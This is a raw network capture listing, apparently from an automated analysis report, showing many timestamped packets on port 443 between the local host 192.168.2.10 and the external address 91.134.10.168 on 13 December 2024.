Dec 13, 2024 13:27:27.993007898 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:27.993133068 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.134553909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.134637117 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.136320114 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.136423111 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.138194084 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.138303041 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.140060902 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.140258074 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.141120911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.141254902 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.142956018 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.143028975 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.144988060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.145263910 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.146070957 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.146143913 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.148051023 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.148156881 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.149859905 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.149985075 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.150929928 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.151103020 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.153445005 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.153584003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.154747009 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.154968977 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.155787945 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.156073093 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.157814026 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.157942057 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.159822941 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.159893036 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.160731077 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.160821915 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.162661076 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.163337946 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.164756060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.164830923 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.166120052 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.166169882 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.168051004 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.168664932 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.168958902 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.169248104 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.171010971 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.171231031 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.172914982 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.173006058 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.173916101 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.174021959 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.175987959 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.176069975 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.177773952 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.177835941 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.179032087 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.179169893 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.180838108 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.180917025 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.182754040 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.182816982 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.184750080 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.184830904 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.326476097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.326621056 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.327325106 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.327403069 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.328840017 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.328924894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.330698967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.330777884 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.331842899 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.331907034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.333710909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.333775043 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.335642099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.335699081 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.336720943 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.336822987 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.338648081 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.338705063 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.340627909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.340703011 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.341568947 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.341631889 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.343875885 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.344033003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.345570087 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.345628023 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.346489906 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.346539974 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.348398924 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.348465919 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.350404024 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.350507975 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.351449966 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.351515055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.353400946 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.353463888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.355171919 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.355235100 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.356792927 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.356853962 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.358604908 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.358670950 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.359724998 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.359788895 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.361716986 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.361779928 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.363533020 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.363599062 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.364639997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.364748001 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.366595984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.366667032 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.368577957 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.368688107 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.369740009 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.369817972 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.371462107 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.371530056 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.373457909 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.373524904 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.374413013 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.374469042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.376329899 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.376389980 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.521939993 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.522114992 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.522319078 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.522373915 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.524424076 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.524519920 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.526138067 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.526221037 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.528126001 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.528198957 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.529233932 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.529304981 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.531141043 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.531229973 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.532991886 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.533062935 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.534138918 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.534210920 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.535975933 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.536041975 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.537903070 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.537976980 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.538995981 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.539069891 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.540929079 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.541032076 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.542860985 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.542957067 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.543854952 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.543936014 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.545845032 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.545917988 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.547741890 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.547842979 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.548770905 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.548841000 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.551146984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.551222086 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.552236080 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.552311897 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.554079056 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.554171085 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.556041002 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.556133032 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.557126045 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.557200909 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.558983088 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.559062958 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.560965061 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.561039925 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.562032938 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.562129021 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.564249992 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.564342022 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.565857887 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.565924883 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.566862106 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.566926003 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.568937063 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.569015026 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.570795059 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.570863008 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.571856022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.571916103 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.714287996 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.714360952 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.715636969 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.715703964 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.716597080 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.716656923 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.718660116 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.718743086 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.720416069 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.720485926 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.721534967 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.721595049 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.723609924 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.723666906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.725404024 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.725478888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.727292061 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.727368116 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.728394985 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.728463888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.730243921 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.730298042 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.732269049 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.732351065 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.733290911 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.733367920 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.735177040 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.735264063 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.737124920 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.737185955 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.738882065 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.738945007 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.740041971 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.740106106 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.742093086 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.742166996 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.743469954 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.743545055 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.745466948 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.745538950 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.746431112 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.746491909 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.748368025 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.748434067 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.750380993 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.750442028 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.751452923 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.751522064 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.753289938 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.753367901 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.755268097 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.755327940 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.756396055 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.756454945 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.758251905 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.758328915 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.760190010 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.760260105 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.761198997 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.761260986 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.763305902 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.763372898 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.765105963 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.765188932 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.915440083 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.915585995 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.916470051 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.916529894 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.918385029 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.918448925 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.920249939 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.920301914 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.921461105 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.921514034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.923410892 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.923470974 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.925255060 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.925321102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.927175999 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.927236080 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.928397894 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.928457975 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.930077076 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.930149078 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.932427883 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.932516098 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.933305025 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.933370113 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.935004950 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.935079098 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.936932087 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.936995983 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.937957048 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.938014984 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.940053940 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.940114021 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.941865921 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.941930056 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.943028927 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.943093061 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.945422888 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.945487976 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.946543932 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.946620941 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.948221922 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.948283911 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.950221062 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.950282097 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.951339006 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.951396942 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.953183889 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.953250885 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.955075026 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.955137014 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.956300974 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.956360102 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.958199024 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.958273888 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.959959984 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.960007906 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.960997105 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.961050034 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.963052988 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.963134050 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.964850903 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.964905024 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:28.965889931 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:28.965951920 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.108535051 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.108602047 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.109565973 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.109637976 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.110620022 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.110668898 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.112628937 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.112679005 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.114504099 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.114559889 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.115551949 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.115592957 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.117552996 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.117604017 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.119456053 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.119496107 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.121325970 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.121371984 CET	49712	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:27:29.122395039 CET	443	49712	91.134.10.168	192.168.2.10
Dec 13, 2024 13:27:29.122445107 CET	49712	443	192.168.2.10	91.134.10.168
